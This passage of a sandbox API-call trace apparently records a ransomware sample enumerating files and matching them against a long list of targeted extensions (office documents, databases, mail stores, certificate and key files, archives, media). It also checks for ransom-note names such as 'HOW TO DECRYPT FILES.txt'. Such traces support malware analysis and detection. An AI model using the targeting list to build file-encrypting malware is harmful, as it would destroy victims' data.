(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.myo") returned 0 [0083.967] lstrlenA (lpString="*.myo") returned 5 [0083.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.qbw") returned 0 [0083.967] lstrlenA (lpString="*.qbw") returned 5 [0083.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.qbb") returned 0 [0083.967] lstrlenA (lpString="*.qbb") returned 5 [0083.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.qbm") returned 0 [0083.967] lstrlenA (lpString="*.qbm") returned 5 [0083.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.qbo") returned 0 [0083.967] lstrlenA (lpString="*.qbo") returned 5 [0083.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.qbx") returned 0 [0083.967] lstrlenA (lpString="*.qbx") returned 5 [0083.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.qba") returned 0 [0083.967] lstrlenA (lpString="*.qba") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.qby") returned 0 [0083.968] lstrlenA (lpString="*.qby") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.qbj") returned 0 [0083.968] lstrlenA (lpString="*.qbj") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.ofx") returned 0 [0083.968] lstrlenA (lpString="*.ofx") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.qif") returned 0 [0083.968] lstrlenA (lpString="*.qif") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.mye") returned 0 [0083.968] lstrlenA (lpString="*.mye") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.mbox") returned 0 [0083.968] lstrlenA (lpString="*.mbox") returned 6 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.eml") returned 0 [0083.968] lstrlenA (lpString="*.eml") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.pst") returned 0 [0083.968] lstrlenA (lpString="*.pst") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.ost") returned 0 [0083.968] lstrlenA (lpString="*.ost") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.idx") returned 0 [0083.968] lstrlenA (lpString="*.idx") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.dbx") returned 0 [0083.968] lstrlenA (lpString="*.dbx") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.sql") returned 0 [0083.968] lstrlenA (lpString="*.sql") returned 5 [0083.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.mdb") returned 0 [0083.968] lstrlenA (lpString="*.mdb") returned 5 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.fdb") returned 0 [0083.969] lstrlenA (lpString="*.fdb") returned 5 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.wab") returned 0 [0083.969] lstrlenA (lpString="*.wab") returned 5 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.dat") returned 0 [0083.969] lstrlenA (lpString="*.dat") returned 5 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.txt") returned 0 [0083.969] lstrlenA (lpString="*.txt") returned 5 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.jpeg") returned 0 [0083.969] lstrlenA (lpString="*.jpeg") returned 6 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.jpg") returned 0 [0083.969] lstrlenA (lpString="*.jpg") returned 5 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.png") returned 0 [0083.969] lstrlenA (lpString="*.png") returned 5 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.php") returned 0 [0083.969] lstrlenA (lpString="*.php") returned 5 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.cs") returned 0 [0083.969] lstrlenA (lpString="*.cs") returned 4 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.cpp") returned 0 [0083.969] lstrlenA (lpString="*.cpp") returned 5 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.rar") returned 0 [0083.969] lstrlenA (lpString="*.rar") returned 5 [0083.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.zip") returned 0 [0083.970] lstrlenA (lpString="*.zip") returned 5 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.html") returned 0 [0083.970] lstrlenA (lpString="*.html") returned 6 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.htm") returned 0 [0083.970] lstrlenA (lpString="*.htm") returned 5 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.xlsx") returned 0 [0083.970] lstrlenA (lpString="*.xlsx") returned 6 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.xls") returned 0 [0083.970] lstrlenA (lpString="*.xls") returned 5 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.mp4") returned 0 [0083.970] lstrlenA (lpString="*.mp4") returned 5 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.ppt") returned 0 [0083.970] lstrlenA (lpString="*.ppt") returned 5 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.pptx") returned 0 [0083.970] lstrlenA (lpString="*.pptx") returned 6 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.doc") returned 0 [0083.970] lstrlenA (lpString="*.doc") returned 5 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.dot") returned 0 [0083.970] lstrlenA (lpString="*.dot") returned 5 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.docx") returned 0 [0083.970] lstrlenA (lpString="*.docx") returned 6 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.7z") returned 0 [0083.970] lstrlenA (lpString="*.7z") returned 4 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.tar") returned 0 [0083.970] lstrlenA (lpString="*.tar") returned 5 [0083.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.bz2") returned 0 [0083.971] lstrlenA (lpString="*.bz2") returned 5 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.gz") returned 0 [0083.971] lstrlenA (lpString="*.gz") returned 4 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.mkv") returned 0 [0083.971] lstrlenA (lpString="*.mkv") returned 5 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.eml") returned 0 [0083.971] lstrlenA (lpString="*.eml") returned 5 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.msg") returned 0 [0083.971] lstrlenA (lpString="*.msg") returned 5 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.edb") returned 0 [0083.971] lstrlenA (lpString="*.edb") returned 5 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.accdb") returned 0 [0083.971] lstrlenA (lpString="*.accdb") returned 7 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.odb") returned 0 [0083.971] lstrlenA (lpString="*.odb") returned 5 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.java") returned 0 [0083.971] lstrlenA (lpString="*.java") returned 6 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.asm") returned 0 [0083.971] lstrlenA (lpString="*.asm") returned 5 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.pfx") returned 0 [0083.971] lstrlenA (lpString="*.pfx") returned 5 [0083.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.pem") returned 0 [0083.972] lstrlenA (lpString="*.pem") returned 5 [0083.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.p12") returned 0 [0083.972] lstrlenA (lpString="*.p12") returned 5 [0083.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.gpg") returned 0 [0083.972] lstrlenA (lpString="*.gpg") returned 5 [0083.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.vsd") returned 0 [0083.972] lstrlenA (lpString="*.vsd") returned 5 [0083.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.odg") returned 0 [0083.972] lstrlenA (lpString="*.odg") returned 5 [0083.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.raw") returned 0 [0083.972] lstrlenA (lpString="*.raw") returned 5 [0083.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.nef") returned 0 [0083.972] lstrlenA (lpString="*.nef") returned 5 [0083.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.svg") returned 0 [0083.972] lstrlenA (lpString="*.svg") returned 5 [0083.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.psd") returned 0 [0083.973] lstrlenA (lpString="*.psd") returned 5 [0083.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.vmx") returned 0 [0083.973] lstrlenA (lpString="*.vmx") returned 5 [0083.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.vmdk") returned 0 [0083.973] lstrlenA (lpString="*.vmdk") returned 6 [0083.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.vdi") returned 0 [0083.973] lstrlenA (lpString="*.vdi") returned 5 [0083.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.lay6") returned 0 [0083.973] lstrlenA (lpString="*.lay6") returned 6 [0083.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.mpeg") returned 0 [0083.973] lstrlenA (lpString="*.mpeg") returned 6 [0083.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.djvu") returned 0 [0083.973] lstrlenA (lpString="*.djvu") returned 6 [0083.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.tiff") returned 0 [0083.973] lstrlenA (lpString="*.tiff") returned 6 [0083.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.backup") returned 0 [0083.973] lstrlenA (lpString="*.backup") returned 8 [0083.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.pdf") returned 0 [0083.973] lstrlenA (lpString="*.pdf") returned 5 [0083.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.cert") returned 0 [0083.974] lstrlenA (lpString="*.cert") returned 6 [0083.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.docm") returned 0 [0083.974] lstrlenA (lpString="*.docm") returned 6 [0083.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.xlsm") returned 0 [0083.974] lstrlenA (lpString="*.xlsm") returned 6 [0083.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.dwg") returned 0 [0083.974] lstrlenA (lpString="*.dwg") returned 5 [0083.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.nd") returned 0 [0083.974] lstrlenA (lpString="*.nd") returned 4 [0083.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.tlg") returned 0 [0083.974] lstrlenA (lpString="*.tlg") returned 5 [0083.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.lgb") returned 0 [0083.974] lstrlenA (lpString="*.lgb") returned 5 [0083.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.mov") returned 0 [0083.974] lstrlenA (lpString="*.mov") returned 5 [0083.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.xdw") returned 0 [0083.974] lstrlenA (lpString="*.xdw") returned 5 [0083.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.ods") returned 0 [0083.975] lstrlenA (lpString="*.ods") returned 5 [0083.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.wav") returned 0 [0083.975] lstrlenA (lpString="*.wav") returned 5 [0083.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.mp3") returned 0 [0083.975] lstrlenA (lpString="*.mp3") returned 5 [0083.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.aiff") returned 0 [0083.975] lstrlenA (lpString="*.aiff") returned 6 [0083.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.flac") returned 0 [0083.975] lstrlenA (lpString="*.flac") returned 6 [0083.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.m4a") returned 0 [0083.975] lstrlenA (lpString="*.m4a") returned 5 [0083.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.csv") returned 0 [0083.975] lstrlenA (lpString="*.csv") returned 5 [0083.975] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdb6b0f0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbdb6b0f0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbdb6b0f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x525b, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="adsWrapperMSNI[1].js", cAlternateFileName="ADSWRA~1.JS")) returned 1 [0083.975] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.975] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adsWrapperMSNI[1].js") returned 1 [0083.975] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adsWrapperMSNI[1].js") returned 1 [0083.976] lstrcmpiA (lpString1="", lpString2="adsWrapperMSNI[1].js") returned -1 [0083.976] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]") returned="adfscript[1]" [0083.976] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.976] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS 